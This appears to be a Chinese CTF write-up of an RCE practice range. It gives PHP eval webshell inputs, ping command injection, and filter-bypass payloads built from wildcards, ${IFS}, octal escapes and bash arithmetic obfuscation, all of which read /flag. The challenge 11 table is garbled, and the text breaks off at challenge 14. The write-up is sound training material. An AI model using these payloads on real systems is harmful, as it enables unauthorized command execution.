RCE靶场第一题
1 | $code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;"; |
RCE靶场第一题
在这里将code字符包含了flag.php文件 并且bash命令字符串会打印这串提示信息并且尝试实行命令查看/flag文件的内容 eval()会将包含的内容当作PHP代码来执行 system()会执行包含的系统命令,即bash命令,然后将会读取flag
RCE靶场第二题
1 | eval($_POST['a']); |
这里是个标准的一句话木马的题目 eval会执行传入的post参数a所包含的命令,所以我们可以通过传入a的特定值来执行恶意代码
1 | a=system('cat/flag'); |
然后就可以读取到flag
RCE靶场第三题
1 | function hello_ctf($function, $content){ |
get_fun()函数中
每次随机从 $func_list[]这个列表中读取一个参数并将其存入session中,然后返回这个函数名
start()函数中
首先执行get_fun()函数获得$func_list[]列表内的一个参数 然后判断get参数action是否为r,如果是,执行session_unset()函数,清空session变量然后重新用get_fun()函数获取一个参数。 然后判断get参数action是否为submit,如果是,则接受提交的post参数content并执行。
hello_ctf()函数会调用所有的函数,将选定的函数和输入的内容当成PHP代码并且使用eval()执行
$func_list[]中的函数分析
1 | $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace']; |
用?action=r获得一个函数,然后构造相应的payload
1 | eval('${flag}'); |
然后我们就可以得到类似于
1 | Your Code: array_reduce(assert(print_r($flag))); |
此时我们只需要构造相应的post参数content就可以读取flag。
RCE靶场第四题
1 | system($_POST['a']); |
没什么好说的,这里用的是system命令 system()
函数会通过sh软连接执行你输入的系统命令。
所以我们构造payload传入a让它读取flag即可
1 | a=cat /flag//不知道为啥这里不加空格无法执行 |
RCE靶场第五题
1 | function hello_server($ip){ |
这里的漏洞函数为
1 | function hello_server($ip){ |
这里它会执行用户输入的ip地址检测是否能ping通 但是没有严格的过滤,所以我们可以传入任意指令
考察的是shell的基本运算符
1 | &&: and操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2 |
所以我们只需要通过shell的基本运算符来拼接我们需要传入的命令即可
1 | ?ip=1.1.1.1&&cat /flag//成功载入公共免费的DNS服务器然后执行cat获得flag的命令 |
RCE靶场第六题
1 | function hello_shell($cmd){ |
这关考察的是通配符的使用
通配符及其用法
通配符 | 功能说明 | 示例 | 用途 |
---|---|---|---|
* |
匹配零个或多个字符 | *.txt |
匹配所有以 .txt 结尾的文件 |
? |
匹配单个字符 | file?.txt |
匹配 file1.txt 、file2.txt
等单个字符的文件名 |
[ ] |
匹配方括号内的任意一个字符 | file[1-3].txt |
匹配
file1.txt 、file2.txt 、file3.txt |
[^ ] |
匹配不在方括号内的字符 | file[^a-c].txt |
匹配不包含 a 到 c 之间字符的文件 |
{ } |
匹配大括号内的任意一个字符,使用逗号分隔 | file{1,2,3}.txt |
匹配
file1.txt 、file2.txt 、file3.txt |
~ |
表示当前用户的主目录 | ~/Documents |
访问主目录下的 Documents 文件夹 |
! |
表示取反,在某些条件测试或模式匹配中使用 | ls !( *.txt ) |
列出所有不是 .txt 结尾的文件 |
\ |
转义字符,取消通配符的特殊意义 | file\*.txt |
匹配文件名为 file*.txt 的文件 |
解决
观察此处的正则过滤了
1 | preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd) |
所以能用的只有一个字母 a 和数字
而此时我们通过了解通配符,可以发现用?可以逐渐匹配各个字符
1 | /?cmd=/???/?a? /??a? |
或者说
1 | ?cmd=/???/?a??64 /??a? |
RCE靶场第七题
1 | function hello_shell($cmd){ |
过滤了flag和空格,所以只需要绕过空格和flag即可
1 | ?cmd=cat${IFS}/fl""ag#空格被视为一个命令分隔符,本质上由 $IFS 变量控制,直接键入 $IFS 来绕过空格过滤。 |
RCE靶场第八题
1 | /* |
关键函数在于
1 | system($cmd.">/dev/null 2>&1"); |
这行代码将执行命令 $cmd,并且将其标准输出和标准错误输出都重定向到 /dev/null,这意味着无论命令的输出还是可能产生的错误信息都不会显示出来
所以我们直接用命令分隔符分开就行了
1 | /?cmd=cat /flag; |
这个payload会先打印 /flag
文件内容,然后再执行其标准输出和标准错误输出都重定向到
/dev/null,但是flag会先输出出来所以重定向不影响打印结果。
RCE靶场第九题
1 |
|
本题中禁用了字母和符号,只有数字可以用
上边赛题提示,已经将 /bin/sh 设置为指向 /bin/bash 的符号链接。换句话说,运行 /bin/sh 时,实际上会调用 /bin/bash
接下来就是bash的8进制绕过
为了方便做题,特地提示我们:
- 即使是八进制,同样需要空格
- 提供了一个BashFuck工具在exp.php中
1 | /?cmd=$'\143\141\164' $'\57\146\154\141\147' |
RCE靶场第十题
1 | function hello_shell($cmd){ |
本题ban把2-9的数字都ban掉了,只能用010执行
需要的payload
1 | cat /flag; |
在线工具生成
1 | $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\' |
但是执行得不到结果,查询了解后知道
1 | 在 URL 中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分 |
所以#在这里被锚点了,所以需要进行编码
1 | $0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\' |
一个字符代表一个编码,所以需要有9个%23
RCE靶场十一题
1 | <?php |
在上一题的升级版,把1也禁掉了
题目也提示了用 $ 来替换 1
关于##
变量 | 含义 | 示例输出 |
---|---|---|
$这个点特性来解决问题了 |
${!xxx}
,它表示用 xxx
的值作为另一个变量的名字,然后取出那个变量的值。
1 | 如果a=0,b=1,c=2,那么 ${!a} 就相当于 $0 , ${!b} 就相当于 $1 , ${!c} 就相当于 $2 |
所以我们可以构造payload
1 | ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\$(($((${##}<<${##}))#${##}${##}${#}${#}))\' |
RCE靶场第十三题
1 | <?php |
算术扩展$(())
在bash中,$(())用于执行算术扩展。
1 | $ echo $(()) |
按位非 ~
~
运算符执行按位非(补码)操作。对于任何整数
x
,~x
等价于 -(x + 1)
。
1 | $ echo $((~$(()))) |
最内部的 $(())
: 这求值为
0,~$(())
变为 ~0
: 现在我们对
0 执行按位非操作,在二进制补码中,~0
是
-(0 + 1)
,即 -1,$((~0))
变为
((-1))
: 算术扩展求值 -1。
并且有
1 | $ echo $(($((~$(())))$((~$(()))))) |
按照上述描述左右各生成了一个-1 所以此时我们有{-1}${-1}
而根据$(())的特性,Bash 会尝试将连接后的字符串解释为单个算术表达式。
在这个特定的例子中,$(( ($((~$(()))) )$((~$(()))) ) ))
简化为 $((-1 -1))
。Bash 将这视为 (-1)
与
(-1)
的连接,形成了字符串 "-1-1"
。
然后,$(("-1-1"))
被作为算术表达式求值。Bash 将
"-1-1"
解析为-2。
所以我们通过这个方法构造得到任意数字
1 | oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造 |
所以我们在这题中所需的payload就是
1 | __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\' |
但是直接输会被waf掉,套个url编码即可
1 | ?cmd=%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27 |
RCE靶场第十四题
1 | if(strlen($_GET[1]<8)){ |
限制7字符长度的RCE